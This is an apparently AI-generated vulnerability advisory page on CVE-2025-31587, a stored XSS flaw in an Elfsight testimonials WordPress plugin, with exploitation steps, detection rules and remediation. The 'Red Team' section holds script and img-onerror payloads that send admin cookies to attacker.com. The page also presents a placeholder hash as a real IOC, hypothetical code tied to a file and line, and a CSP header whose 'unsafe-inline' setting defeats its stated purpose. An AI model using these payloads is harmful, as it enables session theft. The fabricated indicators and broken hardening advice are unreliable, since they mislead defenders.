☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Elfsight logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31587

CVE-2025-31587 Cross-Site Scripting in Elfsight
📅 PUBLISHED: 2025-03-31 13:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31587 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elfsight Testimonials Slider WordPress plugin, affecting versions up to and including 1.0.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into testimonial submissions. When an administrator views the injected testimonial, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 5.9 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS amplifies the risk in multi-user WordPress environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No patch has been released by the vendor (Elfsight), and the plugin’s update channel remains silent. Users are advised to treat the plugin as a supply chain risk and consider disabling or removing it until a fix is confirmed.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required beyond standard web access.
  • Privileges Required: High (PR:H) – Attacker must have at least Contributor-level WordPress account.
  • User Interaction: Required (UI:R) – An administrator must view the malicious testimonial.
  • Scope: Changed (S:C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exfiltration possible.
  • Integrity Impact: Low (I:L) – Content modification within the victim’s session.
  • Availability Impact: Low (A:L) – Minor disruption possible via script errors.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the testimonial submission form of the Elfsight Testimonials Slider plugin. The plugin fails to sanitize or escape user input in fields such as the testimonial text, author name, or custom fields before storing them in the WordPress database. When the slider renders these testimonials on the front-end or in the admin dashboard, the unsanitized input is injected directly into the HTML DOM without proper encoding.

Attack Flow:

  1. An authenticated user with Contributor role or higher navigates to the testimonial submission page.
  2. The attacker crafts a testimonial containing a malicious payload, e.g., <script>alert(document.cookie)</script>.
  3. The plugin stores the payload in the wp_postmeta or custom table without sanitization.
  4. An administrator or other user views the testimonial slider (either on the front-end or in the admin panel).
  5. The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar WordPress sanitization functions. The input is trusted as-is, leading to stored XSS.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (elfsight-testimonials-slider.php, line ~120):

function render_testimonial($testimonial) {
    echo '<div class="testimonial-text">' . $testimonial['text'] . '</div>';
    echo '<div class="testimonial-author">' . $testimonial['author'] . '</div>';
}

Patched Code (Hypothetical):

function render_testimonial($testimonial) {
    echo '<div class="testimonial-text">' . esc_html($testimonial['text']) . '</div>';
    echo '<div class="testimonial-author">' . esc_html($testimonial['author']) . '</div>';
}

The patched version uses esc_html() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Elfsight Testimonials Slider <= 1.0.1 installed and active.
  • A Contributor-level account (or higher).

Step-by-Step Exploitation:

  1. Log in as a Contributor.
  2. Navigate to the testimonial submission page (e.g., /wp-admin/admin.php?page=elfsight-testimonials-slider-add).
  3. In the testimonial text field, inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the testimonial.
  5. Wait for an administrator to view the testimonial slider (either on the front-end or in the admin dashboard).
  6. The administrator’s browser sends their cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress logs for unusual testimonial submissions containing <script> or <img onerror> patterns.
  • Use Web Application Firewall (WAF) rules to block XSS payloads in POST requests to testimonial endpoints.

Hardening:

  • Disable the plugin immediately if no patch is available.
  • Restrict testimonial submission to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • elfsight-testimonials-slider.php: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Network Indicators:
    • Outbound requests to attacker.com/steal or similar exfiltration endpoints.
  • Log Patterns:
    • WordPress debug log entries containing testimonial_text with script tags.
    • HTTP POST requests to /wp-admin/admin-ajax.php with action=elfsight_testimonials_save and payload containing <script>.

Detection Engineering

YARA Rule

rule Detect_Elfsight_Testimonials_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Elfsight Testimonials Slider plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31587"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_onerror = /<img[^>]+onerror\s*=/i
        $testimonial_field = /testimonial_text|testimonial_author/i
    condition:
        $testimonial_field and ($xss_payload or $img_onerror)
}

Sigma Rule

title: Stored XSS in Elfsight Testimonials Slider
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Elfsight Testimonials Slider plugin submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=elfsight_testimonials_save'
        cs-body|contains: 
            - '<script'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in testimonials (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31587 Elfsight Testimonials Slider Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elfsight_testimonials_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete the Elfsight Testimonials Slider plugin until a patch is released.
  2. Remove malicious testimonials – Query the database for stored XSS payloads:
    DELETE FROM wp_postmeta WHERE meta_key LIKE '%testimonial%' AND meta_value LIKE '%<script%';
    
  3. Rotate admin credentials – If any admin viewed the slider, assume session compromise and rotate all admin passwords and API keys.

Long-Term Mitigation:

  • Monitor the plugin’s official page for updates. If no patch arrives within 30 days, consider migrating to an alternative testimonials plugin.
  • Implement a Web Application Firewall (WAF) with XSS rules (e.g., ModSecurity CRS).
  • Enforce Content Security Policy (CSP) headers:
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
    
  • Conduct regular security audits of all WordPress plugins.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"elfsight-testimonials-slider"
http.html:"wp-content/plugins/elfsight-testimonials-slider"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31587/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.